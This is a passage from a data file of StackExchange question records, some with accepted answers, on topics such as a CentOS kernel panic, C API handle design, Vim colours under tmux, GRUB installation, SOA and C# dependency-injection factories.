ffff8801bc7da2a8RDX: 0000000000000002  RSI: 00000000ffffffff  RDI: ffff8801bc7da200RBP: ffff880100003e20   R8: ffffffff81ad12d8   R9: fe2582cc8764a601R10: 0000000000000001  R11: 0000000000000000  R12: 0000000000000000R13: ffff8801bc7da248  R14: ffff8801bc7da290  R15: 00000000ffffffffORIG_RAX: ffffffffffffffff  CS: 0010  SS: 0018#9 [ffff880100003dd8] fscache_object_slow_work_execute at ffffffffa0460e9f [fscache]#10 [ffff880100003e28] slow_work_execute at ffffffff81121363#11 [ffff880100003e68] slow_work_thread at ffffffff81121645#12 [ffff880100003ee8] kthread at ffffffff810a662e#13 [ffff880100003f48] kernel_thread at ffffffff8100c28aSince it seemed to be happening every two days, I've tried looking at the cron jobs but there are no cron jobs that match a schedule of every two days.  I've also tried updating the kernel but that has not helped at all either.  "  , "title": "How can I find the cause of my CentOS 6.8 server crashing (suffering kernel panic) every two days?"  , "tags": "centos;crash;kernel panic"  } 
{  "id": "_softwareengineering.294761"  , "question": "I'm evaluating a library whose public API currently looks like this:libengine.h/* Handle, used for all APIs */typedef size_t enh;/* Create new engine instance; result returned in handle */int en_open(int mode, enh *handle);/* Start an engine */int en_start(enh handle);/* Add a new hook to the engine; hook handle returned in h2 */int en_add_hook(enh handle, int hooknum, enh *h2);Note that enh is a generic handle, used as a handle to several different datatypes (engines and hooks).Internally, most of these APIs of course cast the handle to an internal structure which they've malloc'd:engine.cstruct engine{    // ... implementation details ...};int en_open(int mode, *enh handle){    struct engine *en;    en = malloc(sizeof(*en));    if (!en)        return -1;    // ...initialization...    *handle = (enh)en;    return 0;}int en_start(enh handle){    struct engine *en = (struct engine*)handle;    return en->start(en);}Personally, I hate hiding things behind typedefs, especially when it compromises type safety. (Given an enh, how do I know to what it's actually referring?) So I submitted a pull request, suggesting the following API change (after modifying the entire library to conform):libengine.hstruct engine;           /* Forward declaration */typedef size_t hook_h;    /* Still a handle, for other reasons *//* Create new engine instance, result returned in en */int en_open(int mode, struct engine **en);/* Start an engine */int en_start(struct engine *en);/* Add a new hook to the engine; hook handle returned in hh */int en_add_hook(struct engine *en, int hooknum, hook_h *hh);Of course, this makes the internal API implementations look a lot better, eliminating casts, and maintaining type safety to/from the consumer's perspective.libengine.cstruct engine{    // ... implementation details ...};int en_open(int mode, struct engine **en){    struct engine *_e;    _e = malloc(sizeof(*_e));    if (!_e)        return -1;    // ...initialization...    *en = _e;    return 0;}int en_start(struct engine *en){    return en->start(en);}I prefer this for the following reasons:Added type safetyImproved clarity of types and their purposeRemoved casts and typedefsIt follows the recommended pattern for opaque types in CHowever, the owner of the project balked at the pull request (paraphrased):Personally I don't like the idea of exposing the struct engine. I still think the current way is cleaner & more friendly.Initially I used another data type for hook handle, but then decided to switch to use enh, so all kind of handles share the same data type to keep it simple. If this is confusing, we can certainly use another data type.Let's see what others think about this PR.This library is currently in a private beta stage, so there isn't much consumer code to worry about (yet). Also, I've obfuscated the names a bit.How is an opaque handle better than a named, opaque struct?Note: I asked this question at Code Review, where it was closed."  , "title": "Why use an opaque handle that requires casting in a public API rather than a typesafe struct pointer?"  , "tags": "c;api design;libraries"  } 
{  "id": "_webmaster.102337"  , "question": "Is there any generally accepted average time for crawling page in Google Webmasters Tools?  You can find this report on the crawl stats page.I am trying to audit possible SEO issues, my website currently has average time to crawl around 700ms."  , "title": "What is an acceptable Time spent downloading a page (in milliseconds) in Google Search Console?"  , "tags": "google search console;performance"  } 
{  "id": "_codereview.28310"  , "question": "I started learning JavaScript a week ago, and I made a sorting function on my own. It does work, but I need reviews and how to write a better one.<body><ul id=list>    <li>Art</li>    <li>Mobile</li>    <li>Education</li>    <li>Games</li>    <li>Magazines</li>    <li>Sports</li></ul>var list = document.getElementById(list);var myList = list.getElementsByTagName(li);var a = [];for (var i = 0; i < myList.length; i++) {    a[i] = myList[i].innerHTML;}a.sort();for (var i = 0; i < myList.length; i++) {    myList[i].innerHTML = a[i];}Output:ArtEducationGamesMagazinesMobileSports"  , "title": "My first javascript sorting"  , "tags": "javascript;sorting;dom"  } 
{  "id": "_unix.139480"  , "question": "I'm new to linux shell scripting. I have a few input files that I have to parse one by one. So in my work in progress WIP folder I have one input file at a time. While one file is undergoing processing, I want a log file to be created in the LOG folder with the same name as that of input file but with the extension .log.Is there any advice on how I can create another file with the same name of a different file?What I actually want to do is this: copy the filename and store it in a variable, then use the variable to create a $variable.log file and write the log to it."  , "title": "Create a log file with the same name as input file"  , "tags": "bash;shell script;filenames"  , "accepted_answer": "Assuming that there is only ever one file in the directory:file_name=`ls wip_folder`log_file=${log_file}.log"  } 
{  "id": "_scicomp.128"  , "question": "Informally in our lab, we have developed 2 metrics to compare CFD solvers overthe range of machines we have access to.  One is called COMP, which standsfor COde Machine Performance. This single number is supposed to represent theabsolute performance of a given code on a given machine. It is computed, for agiven run, by multiplying the number of cells per computing/processing core bythe number of iterations performed and then dividing by the runtime. In anideal situation, this number should be constant no matter the number of coresbeing used, the size of the grid or the duration of the run. It directlyindicates on how many cells one iteration can be performed by one core in onesecond. By extension, the acronym COMP will be used as unit for measuring theperformance of the codes. For examples, if a given run yields 3.2 k COMPs, itmeans the code is able to process one iteration on 3200 cells per core persecond, or 3200 iterations on one cell per core per second, or any similarcombination.  Derived from COMP, we have obvious metrics like speed, speed-upand efficiency, which are just expressing in different ways raw performance andscaling.The other metric, which is designed to compare the efficiency of differentschemes/codes on the same machines, simply looks at the amount of CPU timerequired per unit of physical time simulated. Of course, this leaves many parameters outof the analysis, like the grid or the accuracy of the obtained solution. But westrive to compare runs on equivalent grid/accuracy (for example, if you compare a 4th orderscheme with a 2nd order scheme, you should probably use half as many points fora similar accuracy).What do you think of these metrics? Do they appear valid to you? Do you know oruse other similar metrics to benchmark your CFD solver?I should also add that we usually deal with explicit schemes on structured grids, although we are now starting to do some comparisons with a DG code. Thereasoning might be different for unstructured grids and/or implicit schemes."  , "title": "Benchmarking performance in CFD: how to compare machines and codes?"  , "tags": "performance;fluid dynamics;hpc;benchmarking"  , "accepted_answer": "At the end of the day, the only things that matter are wall-clock time to a chosen accuracy and Watts (or dollars) to a chosen accuracy.For implementation and hardware performance, I like to measure in terms of memory bandwidth and flop/s per Watt or per dollar. If the performance of the code is very far below the hardware peak according to these metrics, then there is likely some implementation inefficiency. Alternatively, if even very simple benchmarks like STREAM perform well below machine peak, then the machine may have bottlenecks that reduce its realizable performance.The efficiency of an algorithm really can't be measured by cells per second except within a restricted class. If you measure by that metric, I argue that you have missed the point."  } 
{  "id": "_unix.348771"  , "question": "Environment:Fedora 25 (4.9.12-200.fc25.x86_64)GNOME Terminal 3.22.1 Using VTE version 0.46.1 +GNUTLSVIM - Vi IMproved 8.0 (2016 Sep 12, compiled Feb 22 2017 16:26:11)tmux 2.2I recently started using tmux and have observed that the colors within Vim change depending on whether I'm running inside or outside of tmux.  Below are screenshots of Vim outside (left) and inside (right) of tmux while viewing a Git diff:My TERM variable isOutside tmux: xterm-256colorInside tmux: screen-256colorVim reports these terminal types as expected (via :set term?):Outside tmux: term=xterm-256colorInside tmux: term=screen-256colorVim also reports both instances are running in 256-color mode (via :set t_Co?):Outside tmux: t_Co=256Inside tmux: t_Co=256There are many similar questions out there regarding getting Vim to run in 256-color mode inside tmux (the best answer I found is here), but I don't think that's my problem given the above information.I can duplicate the problem outside of tmux if I run Vim with the terminal type set to screen-256color:$ TERM=screen-256color vimSo that makes me believe there's simply some difference between the xterm-256color and screen-256color terminal capabilities that causes the difference in color.  Which leads to the question posed in the title: what specifically in the terminal capabilities causes the Vim colors to be different?  I see the differences between running :set termcap inside and outside of tmux, but I'm curious as to which variables actually cause the difference in behavior.Independent of the previous question, is it possible to have the Vim colors be consistent when running inside or outside of tmux?  Some things I've tried include:Explicitly setting the default terminal tmux uses in ~/.tmux.conf to various values (some against the advice of the tmux FAQ):    set -g default-terminal screen-256color    set -g default-terminal xterm-256color    set -g default-terminal screen.xterm-256color    set -g default-terminal tmux-256colorStarting tmux using tmux -2.In all cases, Vim continued to display different colors inside of tmux.  "  , "title": "Why do Vim colors look different inside and outside of tmux?"  , "tags": "terminal;vim;tmux;colors"  , "accepted_answer": "tmux doesn't support the terminfo capability bce (back color erase), which vim checks for, to decide whether to use its default color scheme.That characteristic of tmux has been mentioned a few times -Reset background to transparent with tmux?Clear to end of line uses the wrong background color in tmux"  } 
{  "id": "_vi.9062"  , "question": "It worked fine on my home pc, but it messes up colors on my working machine.Here is my .vimrc:set nocompatiblefiletype offset rtp+=~/.vim/bundle/Vundle.vimcall vundle#begin()Plugin 'VundleVim/Vundle.vim'Plugin 'FelikZ/ctrlp-py-matcher'Plugin 'JulesWang/css.vim'Plugin 'altercation/vim-colors-solarized'Plugin 'ap/vim-css-color'Plugin 'bronson/vim-trailing-whitespace'Plugin 'cakebaker/scss-syntax.vim'Plugin 'christoomey/vim-tmux-navigator'Plugin 'gcorne/vim-sass-lint'Plugin 'kien/ctrlp.vim'Plugin 'mattn/emmet-vim'Plugin 'mileszs/ack.vim'Plugin 'mxw/vim-jsx'Plugin 'othree/html5.vim'Plugin 'othree/javascript-libraries-syntax.vim'Plugin 'othree/yajs.vim'Plugin 'scrooloose/nerdtree'Plugin 'scrooloose/syntastic'Plugin 'tpope/vim-surround'Plugin 'vim-airline/vim-airline'Plugin 'vim-airline/vim-airline-themes'call vundle#end()filetype plugin onfiletype plugin indent onset autoreadset wildmenuset rulerset backspace=eol,start,indentset whichwrap+=<,>,h,lset lazyredrawset noerrorbellsset novisualbellset t_vb=set tm=500set tabstop=4set shiftwidth=4set smarttabset expandtabset smartindentset autoindentset gdefaultset showmatchset hlsearchset incsearchset ignorecaseset ffs=unix,dos,macset fencs=utf-8,cp1251,koi8-r,ucs-2,cp866set relativenumberset cursorlineset showcmdset laststatus=2set statusline=\\ %{HasPaste()}%F%m%r%h\\ %w\\ \\ CWD:\\ %r%{getcwd()}%h\\ \\ \\ Line:\\ %lset nobackupset noswapfilelet NERDTreeShowHidden=1let g:ctrlp_custom_ignore = 'vendor\\|node_modules\\|.git'set statusline+=%#warningmsg#set statusline+=%{SyntasticStatuslineFlag()}set statusline+=%*let g:syntastic_always_populate_loc_list = 1let g:syntastic_auto_loc_list = 1let g:syntastic_check_on_open = 1let g:syntastic_check_on_wq = 1let g:syntastic_javascript_checkers = ['eslint']let g:syntastic_css_checkers = ['csslint']let g:syntastic_sass_checkers = ['sass_lint']let g:syntastic_scss_checkers = ['sass_lint']let g:syntastic_php_checkers = ['php']let mapleader= nnoremap <leader>g :CtrlP<CR>nnoremap <leader>f /nnoremap <leader>F :Ack!<space>nnoremap <leader>h :%s/nnoremap <leader>o :NERDTreeToggle<CR>nnoremap <leader><space> :noh<CR>nnoremap <leader>n :tabn<CR>nnoremap <leader>p :tabp<CR>nnoremap j gjnnoremap k gknnoremap <leader>j <C-]>nnoremap <leader>k <C-O>nnoremap <F4> :Ack! <cword><CR>nnoremap <F12> :!ctags -R --exclude=node_modules .<cr>inoremap <Up> <NOP>inoremap <Down> <NOP>inoremap <Left> <NOP>inoremap <Right> <NOP>noremap <Up> <NOP>noremap <Down> <NOP>noremap <Left> <NOP>noremap <Right> <NOP>inoremap <C-h> <C-o>hinoremap <C-j> <C-o>jinoremap <C-k> <C-o>kinoremap <C-l> <C-o>lmap <Leader>bg :let &background = ( &background == dark? light : dark )<CR>nnoremap <leader>s :StackOverflow<space>set pastetoggle=<F2>syntax enablesyntax sync minlines=256set t_Co=256set background=darkcolorscheme solarized Run these commands before startupautocmd VimEnter * AirlineTheme solarizedautocmd BufWritePre * :%s/\\s\\+$//eautocmd FileType php set omnifunc=phpcomplete#CompletePHPautocmd FileType javascript set omnifunc=javascriptcomplete#CompleteJSautocmd FileType css set omnifunc=csscomplete#CompleteCSSautocmd FileType html set omnifunc=htmlcomplete#CompleteTagsIn my .bashrc I export TERM=xterm-256color.Am I missing something?Edit: it happens both in and out of tmux, vim version - 7.4.576, terminal - bash.Screenshot:Problem I'm trying to solve is cursorline and relativenumber column being black, should've clarified this earlier..."  , "title": "Solarized colorscheme is not displayed correctly (cursorline and relativenumber column)"  , "tags": "vimrc;colorscheme;plugin vundle;plugin solarized"  } 
{  "id": "_webmaster.69418"  , "question": "How can i report to University of Kentucky someone using their webpage to get seo rank?This is the link .http://www.uky.edu/seeblue/Social/index.html ( the did take it off after i speak with them about it ) "  , "title": "How can i report to University of Kentucky someone using their webpage to get seo rank?"  , "tags": "seo"  , "accepted_answer": "Contact the university directly: http://www.uky.edu/UKHome/subpages/contact.html Ask to be patched through to whoever maintains their website. Or just ask for their email address. Let them know about the situation and leave it with them. To answer your question; I don't think this is illegal. Just shady."  } 
{  "id": "_unix.343134"  , "question": "I am new to linux, I use Lubuntu,       I installed the bootloader on an USB drive, I connect the USB in order to load the OS  which was installed on a HD partition,   I need to use the USB for other stuff, so I need to format it, and I have a clean unused SD card,       could someone tell me how to put the bootloader on the SD card?"  , "title": "Create bootloader on an SD card"  , "tags": "linux;boot loader;lubuntu"  , "accepted_answer": "#sudo fdisk -lfind you sdcard device#sudo grub-install /dev/<insert sd drive name here>"  } 
{  "id": "_vi.9935"  , "question": "I have Bash file in which I have constructs that include (@)_ as part of the variable name.  For example:(@)_VariableName${(@)_VariableName[@]}${#(@)_VariableName[@]}${!(@)_VariableName[@]}The Bash files are pre-processed and the literal string (@)_ is replaced with characters so that the final result is valid Bash. The sequence (@)_, if present, will always be at the beginning of a variable name.I'd like to modify the sh.vim syntax file so that variable names are considered to be valid in identifier highlighting and not shown with shDerefWordError highlighting.  I've tried modifying:syn match shDerefVar contained {\\@<=!\\k\\+ nextgroup=@shDerefVarListto:syn match shDerefVar contained {\\@<=\\((@)_\\)\\?!\\k\\+ nextgroup=@shDerefVarListbut this has not worked.Note that this allowance might reasonably be made conditional to a variable such as b:is_eggsh.Can anyone suggest a solution?"  , "title": "Modify sh.vim to accept (@)_ as part of a variable name for Bash highlighting"  , "tags": "syntax highlighting;filetype sh"  , "accepted_answer": "You are close. The problem is that you took the syntax definition for Bash's special ${!varname}, and that doesn't match.I would also define a separate syntax group, used exclusively for your placeholder variables. The sh.vim syntax script is extensive via syntax clusters, that's how you install it as an additional dereference:syn match shDerefPlaceholder contained {\\@<=[!#]\\?(@)_\\k\\+ nextgroup=@shDerefVarListsyn cluster shDerefList add=shDerefPlaceholderAlternativeIntegrating with an existing syntax can be messy... especially with an advanced one like shell (which supports several sub-modes). An alternative would be using :match Preproc /(@)_[a-zA-Z_][a-zA-Z0-9_]*/; this always applies over existing syntax highlighting. Only complication: this is window-local, so you'd need some :autocmds to install it, like this:au BufNewFile,BufRead * if &syntax == 'sh' | match Preproc /(@)_[a-zA-Z_][a-zA-Z0-9_]*/ | endif"  } 
{  "id": "_softwareengineering.311620"  , "question": "I'm going to release a XUL Application to my users. It is a freeware (and maybe it will be opensource-ed later). Previously I used to package it with XULRunner and ship them all to the end user. Now I have to use firefox -app /path/to/application.ini instead.However, these slight modifications are required:I'd like to remove all unnecessary files and directories. Including these directories: browser, components, defaults, dictionaries, gmp-clearkey, icons, webapprt, and almost all .ini files. This will save ~18Mb or so.I want to rename firefox, firefox.app and firefox.exe to something else. Also, I want to change (or remove) the default firefox icon.On Mac, there is an extra step. I'd like to remove 32-bit code from XUL library, using ditto command. This will save more than ~60Mb according to my tests. This is extremely usefull as I don't want to have both 32bit and 64bit on the same bundle.Do these modifications require Mozilla's written permission?There is some information on this page: Mozilla Trademark Policy. However, I can't make sure do they require written permission or don't."  , "title": "Distribute a XUL Application using Firefox binary"  , "tags": "firefox;mpl"  , "accepted_answer": "I got this answer after contacting trademarks AT Mozilla dot com:If you are shipping a modified version of Firefox, these steps are  required :-) You may not brand it as Firefox in any way. As long as you  make that change, you can make whatever other changes you want. That's a freedom given to you by the open source licenses; you don't need our  permission.You will, of course, have to abide by the open source licenses governing  our code, for example by telling your users where to get the source code  of any MPLed code and Modifications. See:  https://www.mozilla.org/MPL/2.0/FAQ/"  } 
{  "id": "_softwareengineering.119507"  , "question": "So traditional scrum board looks something like thisBacklog       |       Story    notStarted   inprogress    Donestory 1               Story1   tasks       Story 2               Story2   tasksStory ..Story nEpic  xEpic  x+1However in general a story has many scenarios and when working with BDD you want to write each scenario for a story as Given, when and then. Also the scenarios don't belong in the notstarted column, inprogess or Done as a scenario is not a task. So you realize that a scenario/s should have their own column between story and notstarted, as a scenario can have many task to be considered done. If you are going to build your task from scenarios then why would you need the story on the scrum board in the first place, maybe they should be left in the backlog. Some people put scenarios on the back of each story. This is a on going debate in my team and I wanted to see if anyone has solved this differently. Cheers!"  , "title": "Where do you put scenarios on a scrum board?"  , "tags": "bdd;scrum"  } 
{  "id": "_softwareengineering.305930"  , "question": "In many books and tutorials, I've heard the practice of memory management stressed and felt that some mysterious and terrible things would happen if I didn't free memory after I'm done using it.I can't speak for other systems (although to me it's reasonable to assume that they adopt a similar practice), but at least on Windows, the Kernel is basically guaranteed to cleanup most resources (with the exception of an odd few) used by a program after program termination. Which includes heap memory, among various other things.I understand why you would want to close a file after you're done using it in order to make it available to the user or why you would want to disconnect a socket connected to a server in order to save bandwidth, but it seems silly to have to micromanage ALL your memory used by your program.Now, I agree that this question is broad since how you should handle your memory is based on how much memory you need and when you need it, so I will narrow the scope of this question to this: If I need to use a piece of memory throughout the lifespan of my program, is it really necessary to free it right before program termination?Edit: The question suggested as a duplicate was specific to the Unix family of operating systems. Its top answer even specified a tool specific to Linux (e.g. Valgrind). This question is meant to cover most normal non-embedded operating systems and why it is or isn't a good practice to free memory that is needed throughout the lifespan of a program."  , "title": "If I need to use a piece of memory throughout the lifespan of my program, is it really necessary to free it right before program termination?"  , "tags": "programming practices;memory usage"  , "accepted_answer": "If I need to use a piece of memory throughout the lifespan of my program, is it really necessary to free it right before program termination?It is not mandatory, but it can have benefits (as well as some drawbacks).If the program allocates memory once during its execution time, and would otherwise never release it until the process ends, it may be a sensible approach not to release the memory manually and rely on the OS. On every modern OS I know, this is safe, at the end of the process all allocated memory is reliably returned to the system.In some cases, not cleaning up the allocated memory explicitly may even be notably quicker than doing the clean-up.However, by releasing all the memory at end of execution explicitly, during debugging / testing, mem leak detection tools won't show you false positivesit might be much easier to move the code which uses the memory together with allocation and deallocation into a separate component and use it later in a different context where the usage time for the memory need to be controlled by the user of the componentThe lifespan of programs can change. Maybe your program is a small command line utility today, with a typical lifetime of less than 10 minutes, and it allocates memory in portions of some kb every 10 seconds - so no need to free  any allocated memory at all before the program ends. Later on the program is changed and gets an extended usage as part of a server process with a lifetime of several weeks - so not freeing unused memory in between is not an option any more, otherwise your program starts eating up all available server memory over time. This means you will have to review the whole program and add deallocating code afterwards. If you are lucky, this is an easy task, if not, it may be so hard that chances are high you miss a place. And when you are in that situation, you will wish you had added the free code to your program beforehand, at the time when you added the malloc code.More generally, writing allocating and related deallocating code always pairwise counts as a good habit among many programmers: by doing this always, you decrease the probability of forgetting the deallocation code in situations where the memory must be freed."  } 
{  "id": "_codereview.25972"  , "question": "I am developing a C# Windows service that will always watch different folders/files and DB query results on different time intervals. There can be dozens of watchers each watching a specific file or folder or DB query results and sends emails at specific email address if some predefined threshold is met, and begins watching again.The requirements that I'm trying to address are:Each Watcher must do its task in a separate Thread.If a watcher/tasks throws an exception, it must automatically be restarted after, say, 3 hours.The strategy I am using:I create a List of IWatcher objects which holds many instances of DB, File and Folder watchersIWatcher is just an interface with some common properties/methods across all DB/File/Folder watchersI call a method BeginWatch which creates a separate task for each watcher in watcher's list and stored that task in a Dictionary.  The key is set to the ID of watcher.I surrounded thread method's body with try/catch to catch any exception.If an exception occurs, I create a Timer object in the catch() body, save the watcher's ID (whose work is stopped) in this timer and schedule it with its interval set to a few hours. I remove the task object from tasks' dictionary.Upon occurring of the 'Elapsed' event of this timer, I recreate another task and add it to tasks' dictionary.Dictionary object for holding tasks against a watcher's ID:private Dictionary<string, TaskDetails> _watcherThreadsHerestring: DB/File or Folder watcher's unique IDTaskDetails: A class that holds a Task and other information for that task that I need during  program execution.TaskDetails:class TaskDetails{            //The Task object    public Task WatcherTask { get; set; }    //CancellationTokenSource reference for each task ..     //if we need to cancel tasks individually    public CancellationTokenSource WatcherCancellationToken { get; set; }    //It a Timer that will enable this specific task after a few hours     //if an exception occurs     public MyTimer DisablingTimer { get; set; }    public TaskDetails(        Task task,         CancellationTokenSource cancellationToken)    {        this.WatcherTask = task;        this.WatcherCancellationToken = cancellationToken;    }}Next I create a list of watchers and then call the following method to create a task for each watcher:public void BeginWatch()    {        //this._watchers is the List<IWatcher> where all the watcher objects are stored        if (this._watchers == null || this._watchers.Count == 0)            throw new ArgumentNullException(Watchers' not found);        //call CreateWatcherThread for each watcher to create a list of threads        this._watchers.ForEach(CreateWatcherThread);    }I create a list of tasks with other info://I call this method and pass in any watcher which i want to run in a new thread//This method is called savaral times for creating a TASK for each IWatcher objectprivate void CreateWatcherThread(IWatcher watcher){    IWatcher tmpWatcher = watcher.Copy();    CancellationTokenSource cancellationToken = new CancellationTokenSource();    //Create a task and run it    Task _watcherTask = Task.Factory.StartNew(            () => _createWatcherThread(tmpWatcher, cancellationToken),            cancellationToken.Token,             TaskCreationOptions.LongRunning,             TaskScheduler.Default);    //Add Thread, CancellationToken and IsDisabled = false to dictionary    //Save Key as WID that will be unique. this will help us retrieving     //the right TASK object later from the list     this._watcherThreads.Add(            tmpWatcher.WID,            new TaskDetails(_watcherTask, cancellationToken)        );}Thread method will perform the operation and will set a timer to enable this watcher after some time if an exception occurs.private void _createWatcherThread(IWatcher wat                                   , CancellationTokenSource cancellationToken){   IWatcher watcher = wat.Copy();    bool hasWatchBegin = false;    try    {         //run forever        for (;;)        {            //dispose the watcher and stop this thread if CANCEL token has been issued            if (cancellationToken.IsCancellationRequested)            {  ((IDisposable)watcher).Dispose();                break;            }            else if (!hasWatchBegin)            {   watcher.BeginWatch();                hasWatchBegin = true;            }        }    }    catch (Exception ex)    {         //set timer to reactivate this watcher after some hours        ///This is an extended System.Timers.Timer class. I have only added WatcherID property in it to associate it with a specific Watcher object        MyTimer enableTaskTimer = new MyTimer();        enableTaskTimer.Interval               = AppSettings.DisabledWatcherDuration; // say 3 hours        // Store Watcher's ID so we can create another Task later and it begins running this watcher        enableTaskTimer.WatcherID = watcher.WID;        enableTaskTimer.Elapsed += DisablingTimer_Elapsed;        enableTaskTimer.Start();        //remove the thread from existing list as this task will be recreated again and stored in the list        this._watcherThreads.Remove(watcher.WID);        //Log exception        SingletonLogger.Instance.WriteToLogs(ex.Message, LogSeverity.Error);    }}void DisablingTimer_Elapsed (object sender, System.Timers.ElapsedEventArgs e){       MyTimer timer = sender as MyTimer;    // get the watcher object by its WID.. MyTime .WatcherID has the Id of the watcher that crashed ... now its time to recreate a task that will again begin a watch    IWatcher wat = this._watchers.Where(w => w.WID == timer.WatcherID).SingleOrDefault();    //dispose tie timer ... no more needed    timer.Stop();    timer.Dispose();    //recreate a new thread for watcher    if(wat != null)        this.CreateWatcherThread(wat);}Am I doing this the right way?"  , "title": "File/folder watcher Windows service"  , "tags": "c#;multithreading;timer;windows;task parallel library"  } 
{  "id": "_codereview.129073"  , "question": "I have implemented a metaclass in Python 3 that, apart from the usual instance constructor (i.e. __init__), enables you to define a class constructor (as a class method that I called __init_class__). The metaclass extends abc.ABCMeta so it supports abstract classes, i.e. the class constructor is not called if a class is abstract.I've written up some tests for it, they pass, and the metaclass also works in practice for me, but I'd like to know:Is this even a good approach for adding a class constructor functionality?Are there any problematic corner-cases that I might run into with my code?Am I testing it correctly?Any comments about my code being (or not) pythonic?Implementation:import abcimport inspectclass MyType(abc.ABCMeta):            Metaclass.        It adds extra functionality of an optional class constructor, which might by added        to the class by adding a class method __init_class__(cls) to the class definition.        Class constructor takes no arguments.        def __init__(cls, name, bases, nmspc):        super().__init__(name, bases, nmspc)        cls.__has_init_class__ = hasattr(cls, '__init_class__')        if cls.__has_init_class__ and not inspect.isabstract(cls):            cls.__init_class__()Tests:import unittestclass MyTypeTests(unittest.TestCase):     Unit tests for MyType metaclass.     def test_class_constructor(self):         Is the class constructor invoked?         class WithoutInit(metaclass=MyType): # pylint: disable=R0903             Dummy class.             initialized = False        class AbstractWithoutInit(metaclass=MyType): # pylint: disable=R0903             Dummy abstract class.             initialized = False            @abc.abstractmethod            def spam(self):                 Dummy abstract method.                 pass        class WithInit(metaclass=MyType): # pylint: disable=R0903             Dummy class with class constructor.             initialized = False            @classmethod            def __init_class__(cls):                cls.initialized = True        class AbstractWithInit(metaclass=MyType): # pylint: disable=R0903             Dummy abstract class with class constructor.             initialized = False            @abc.abstractmethod            def spam(self):                 Dummy abstract method.                 pass            @classmethod            def __init_class__(cls):                cls.initialized = True        self.assertFalse(WithoutInit.initialized)        self.assertFalse(AbstractWithoutInit.initialized)        self.assertTrue(WithInit.initialized)        self.assertFalse(AbstractWithInit.initialized)"  , "title": "Python 3 class constructor"  , "tags": "python;object oriented;python 3.x;constructor"  } 
{  "id": "_softwareengineering.219385"  , "question": "As the question states:  When implementing SOA, is it a concept intended for communication between systems over a network or is it intended as a concept that operates within the language as a pattern?"  , "title": "Is SOA as a concept intended to function within code or between machines over a network?"  , "tags": "design patterns;soa"  , "accepted_answer": "Service Oriented Architecture is an architecture, so the answer is neither.It's not a design pattern within a language because it governs decisions far, far outside of the program design - notably, how all your business data is organized into services, which has a close relationship with your organizational structure. Even some of the technical concepts like fire-and-forget messaging are generally language-agnostic.And it's not specifically related to communication between systems over a network because you could implement an entire SOA in a single process if you wanted to. The preferred method of service interaction in an SOA is in-process, and data or messages should only cross process boundaries when you specifically need to scale out. Even then, SOA is concerned with the logical rather than physical deployment. If you have a billing service, the architecture says nothing about where that service is located, and parts of it may in fact be located in several different physical endpoints.SOA lends itself well to distributed systems because of some of the other technical constraints it tends to impose, such as asynchrony and loose coupling. Distributed systems generally behave better when they treat the network as a network (i.e. don't depend on low latency/high bandwidth) and when components can all operate autonomously. But that's an outcome of SOA, not its goal.An SOA is very simply the opposite of a canonical data model; in other words, each Service is like a little dictatorship that guards its data ferociously and won't share anything with any other service except what it absolutely needs in order to function. You can implement that in any programming language, and with (almost) any physical infrastructure."  } 
{  "id": "_softwareengineering.317139"  , "question": "I'm using Unity as IoC with C#, but I guess the question really isn't really limited to Unity and C#, but IoC in general.I try to follow the SOLID-principle, which means that I got very few dependencies between two concrete classes. But when I need to create new instances of a model, what's the best way to do it?I usually use a factory create my instances, but there's a few alternatives and I wonder which is better, and why?Simple Factory:public class FooFactory : IFooFactory{    public IFoo CreateModel()    {        return new Foo(); // references a concrete class.    }}Service-locator-factorypublic class FooFactory : IFooFactory{    private readonly IUnityContainer _container;    public FooFactory (IUnityContainer container)    {        _container = container;    }    public IFoo CreateModel()    {        return _container.Resolve<IFoo>(); // Service-locator anti-pattern?    }}Func-factory. No dependencies to other classes.public class FooFactory : IFooFactory{    private readonly Func<IFoo> _createFunc;    public FooFactory (Func<IFoo> createFunc)    {        _createFunc= createFunc;    }    public IFoo CreateModel()    {        return _createFunc(); // Is this really better than service-locator?    }}Which IFooFactory should I use, and why? Is there a better option?The examples above are of a more conceptual level, where I try to find a balance between SOLID, maintainable code and service locator. Here's an actual example:public class ActionScopeFactory : IActionScopeFactory{    private readonly Func<Action, IActionScope> _createFunc;    public ActionScopeFactory(Func<Action, IActionScope> createFunc)    {        _createFunc = createFunc;    }    public IActionScope CreateScope(Action action)    {        return _createFunc(action);    }}public class ActionScope : IActionScope, IDisposable{    private readonly Action _action;    public ActionScope(Action action)    {        _action = action;    }    public void Dispose()    {        _action();    }}public class SomeManager{    public void DoStuff()    {        using(_actionFactory.CreateScope(() => AllDone())        {           // Do stuff. And when done call AllDone().           // Another way of actually writing try/finally.        }    }}Why do I use a Factory at all? Because I sometimes need to create new models. There are various scenarios when this is necessary. For eg. in a mapper and when the mapper has a longer lifetime than the object it should map. Example for factory usage:public class FooManager{    private IService _service;    private IFooFactory _factory;    public FooManager(IService service, IFooFactory factory)      {        _service = service;        _factory = factory;    }    public void MarkTimestamp()    {        IFoo foo = _factory.CreateModel();        foo.Time = DateTime.Now;        foo.User = // current user        _service.DoStuff(foo);    }    public void DoStuffInScope()    {        using(var foo = _factoru.CreateModel())        {            // do stuff with foo...        }    }}"  , "title": "Service-locator anti-pattern alternative"  , "tags": "c#;inversion of control;service locator"  } 
{  "id": "_unix.47814"  , "question": "I search the terminal command history by pressing Ctrlr but what if:This is an old commandThis is an | less -S older commandI press Ctrlr and then I type this is an and the old command commes up but not the older. How can I search all the this is an commands? Is it possible to pipe all similar commands to grep or something?If I set -o vi, how do I undo it?"  , "title": "Searching command history"  , "tags": "bash;terminal;command history"  , "accepted_answer": "To search for a command in the history press ctrl+r multiple times ;-)You can also grep through the history using: history | grep YOUR_STRING"  } 
{  "id": "_cs.60599"  , "question": "In a description of OOP in my textbook, it is written that in procedure oriented program the program is organized around its code while in object oriented programming, the program is organized around its data. What is the meaning of this statement? An explanation with an example would be of great help."  , "title": "In object-oriented programming, the program is organized around its data"  , "tags": "programming languages;object oriented"  } 
{  "id": "_reverseengineering.6306"  , "question": "Where i can find a working link to this tutorial? I have searched a lot on the net but all links are broken. Could anyone upload it somewhere?Original linkhttp://www.alex-ionescu.com/vb.pdf"  , "title": "Where can i find Visual Basic Image Internal Structure Format by Alex Ionescu?"  , "tags": "patch reversing;visual basic"  , "accepted_answer": "http://web.archive.org/web/20071020232030/http://www.alex-ionescu.com/vb.pdf[more chars ftw][more chars ftw]"  } 
